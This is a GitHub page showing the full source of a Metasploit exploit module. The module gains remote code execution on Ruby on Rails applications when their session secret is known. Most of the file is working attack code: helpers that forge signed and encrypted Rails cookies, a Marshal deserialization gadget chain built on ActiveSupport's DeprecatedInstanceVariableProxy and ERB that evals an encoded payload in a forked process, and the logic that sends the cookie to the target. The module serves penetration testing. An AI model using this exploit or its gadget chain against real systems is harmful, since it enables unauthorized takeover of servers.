Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/exploits/multi/http/rails_secret_deserialization.rb /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
275 lines (234 sloc)
8.73 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = ExcellentRanking | |
| #Helper Classes copy/paste from Rails4 | |
| class MessageVerifier | |
| class InvalidSignature < StandardError; end | |
| def initialize(secret, options = {}) | |
| @secret = secret | |
| @digest = options[:digest] || 'SHA1' | |
| @serializer = options[:serializer] || Marshal | |
| end | |
| def generate(value) | |
| data = ::Base64.strict_encode64(@serializer.dump(value)) | |
| "#{data}--#{generate_digest(data)}" | |
| end | |
| def generate_digest(data) | |
| require 'openssl' unless defined?(OpenSSL) | |
| OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) | |
| end | |
| end | |
| class MessageEncryptor | |
| module NullSerializer #:nodoc: | |
| def self.load(value) | |
| value | |
| end | |
| def self.dump(value) | |
| value | |
| end | |
| end | |
| class InvalidMessage < StandardError; end | |
| OpenSSLCipherError = OpenSSL::Cipher::CipherError | |
| def initialize(secret, *signature_key_or_options) | |
| options = signature_key_or_options.extract_options! | |
| sign_secret = signature_key_or_options.first | |
| @secret = secret | |
| @sign_secret = sign_secret | |
| @cipher = options[:cipher] || 'aes-256-cbc' | |
| @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) | |
| # @serializer = options[:serializer] || Marshal | |
| end | |
| def encrypt_and_sign(value) | |
| @verifier.generate(_encrypt(value)) | |
| end | |
| def _encrypt(value) | |
| cipher = new_cipher | |
| cipher.encrypt | |
| cipher.key = @secret | |
| # Rely on OpenSSL for the initialization vector | |
| iv = cipher.random_iv | |
| #encrypted_data = cipher.update(@serializer.dump(value)) | |
| encrypted_data = cipher.update(value) | |
| encrypted_data << cipher.final | |
| [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") | |
| end | |
| def new_cipher | |
| OpenSSL::Cipher.new(@cipher) | |
| end | |
| end | |
| class KeyGenerator | |
| def initialize(secret, options = {}) | |
| @secret = secret | |
| @iterations = options[:iterations] || 2**16 | |
| end | |
| def generate_key(salt, key_size=64) | |
| OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) | |
| end | |
| end | |
| include Msf::Exploit::Remote::HttpClient | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| 'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution', | |
| 'Description' => %q{ | |
| This module implements Remote Command Execution on Ruby on Rails applications. | |
| Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" | |
| (Rails 4). The values for those can be usually found in the file | |
| "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by | |
| deserialization of a crafted Ruby Object. | |
| }, | |
| 'Author' => | |
| [ | |
| 'joernchen of Phenoelit <joernchen[at]phenoelit.de>', | |
| ], | |
| 'License' => MSF_LICENSE, | |
| 'References' => | |
| [ | |
| ['CVE', '2013-0156'], | |
| ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/'] | |
| ], | |
| 'DisclosureDate' => '2013-04-11', | |
| 'Platform' => 'ruby', | |
| 'Arch' => ARCH_RUBY, | |
| 'Privileged' => false, | |
| 'Targets' => [ ['Automatic', {} ] ], | |
| 'DefaultTarget' => 0)) | |
| register_options( | |
| [ | |
| Opt::RPORT(80), | |
| OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]), | |
| OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), | |
| OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]), | |
| OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]), | |
| OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]), | |
| OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']), | |
| OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']), | |
| OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']), | |
| OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]), | |
| ]) | |
| end | |
| # | |
| # This stub ensures that the payload runs outside of the Rails process | |
| # Otherwise, the session can be killed on timeout | |
| # | |
| def detached_payload_stub(code) | |
| %Q^ | |
| code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first | |
| if RUBY_PLATFORM =~ /mswin|mingw|win32/ | |
| inp = IO.popen("ruby", "wb") rescue nil | |
| if inp | |
| inp.write(code) | |
| inp.close | |
| end | |
| else | |
| Kernel.fork do | |
| eval(code) | |
| end | |
| end | |
| {} | |
| ^.strip.split(/\n/).map{|line| line.strip}.join("\n") | |
| end | |
| def check_secret(data, digest) | |
| data = Rex::Text.uri_decode(data) | |
| if datastore['RAILSVERSION'] == 3 | |
| sigkey = datastore['SECRET'] | |
| elsif datastore['RAILSVERSION'] == 4 | |
| keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) | |
| sigkey = keygen.generate_key(datastore['SALTSIG']) | |
| end | |
| digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(datastore['DIGEST_NAME']), sigkey, data) | |
| end | |
| def rails_4 | |
| keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) | |
| enckey = keygen.generate_key(datastore['SALTENC']) | |
| sigkey = keygen.generate_key(datastore['SALTSIG']) | |
| crypter = MessageEncryptor.new(enckey, sigkey) | |
| crypter.encrypt_and_sign(build_cookie) | |
| end | |
| def rails_3 | |
| # Sign it with the secret_token | |
| data = build_cookie | |
| digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), datastore['SECRET'], data) | |
| marshal_payload = Rex::Text.uri_encode(data) | |
| "#{marshal_payload}--#{digest}" | |
| end | |
| def build_cookie | |
| # Embed the payload with the detached stub | |
| code = | |
| "eval('" + | |
| Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + | |
| "'.unpack('m0').first)" | |
| if datastore['RAILSVERSION'] == 4 | |
| return "\x04\b" + | |
| "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + | |
| ":\x0E@instanceo" + | |
| ":\bERB\x07" + | |
| ":\t@src"+ Marshal.dump(code)[2..-1] + | |
| ":\x0c@lineno"+ "i\x00" + | |
| ":\f@method:\vresult:" + | |
| "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" | |
| end | |
| if datastore['RAILSVERSION'] == 3 | |
| return Rex::Text.encode_base64 "\x04\x08" + | |
| "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + | |
| ":\x0E@instance" + | |
| "o"+":\x08ERB"+"\x07" + | |
| ":\x09@src" + | |
| Marshal.dump(code)[2..-1] + | |
| ":\x0c@lineno"+ "i\x00" + | |
| ":\x0C@method"+":\x0Bresult" | |
| end | |
| end | |
| # | |
| # Send the actual request | |
| # | |
| def exploit | |
| if datastore['RAILSVERSION'] == 3 | |
| cookie = rails_3 | |
| elsif datastore['RAILSVERSION'] == 4 | |
| cookie = rails_4 | |
| end | |
| cookie_name = datastore['COOKIE_NAME'] | |
| print_status("Checking for cookie #{datastore['COOKIE_NAME']}") | |
| res = send_request_cgi({ | |
| 'uri' => datastore['TARGETURI'] || "/", | |
| 'method' => datastore['HTTP_METHOD'], | |
| }, 25) | |
| if res && !res.get_cookies.empty? | |
| match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) | |
| end | |
| if match | |
| if match[1] == datastore['COOKIE_NAME'] | |
| print_status("Found cookie, now checking for proper SECRET") | |
| else | |
| print_status("Adjusting cookie name to #{match[1]}") | |
| cookie_name = match[1] | |
| end | |
| if check_secret(match[2],match[3]) | |
| print_good("SECRET matches! Sending exploit payload") | |
| else | |
| fail_with(Failure::BadConfig, "SECRET does not match, wrong RAILSVERSION?") | |
| end | |
| else | |
| print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI") | |
| if cookie_name.nil? || cookie_name.empty? | |
| # This prevents trying to send busted cookies with no name | |
| fail_with(Failure::BadConfig, "No cookie found and no name given") | |
| end | |
| if datastore['VALIDATE_COOKIE'] | |
| fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway") | |
| else | |
| print_status("Trying to leverage default controller without cookie confirmation.") | |
| end | |
| end | |
| print_status "Sending cookie #{cookie_name}" | |
| res = send_request_cgi({ | |
| 'uri' => datastore['TARGETURI'] || "/", | |
| 'method' => datastore['HTTP_METHOD'], | |
| 'headers' => {'Cookie' => cookie_name+"="+ cookie}, | |
| }, 25) | |
| handler | |
| end | |
| end |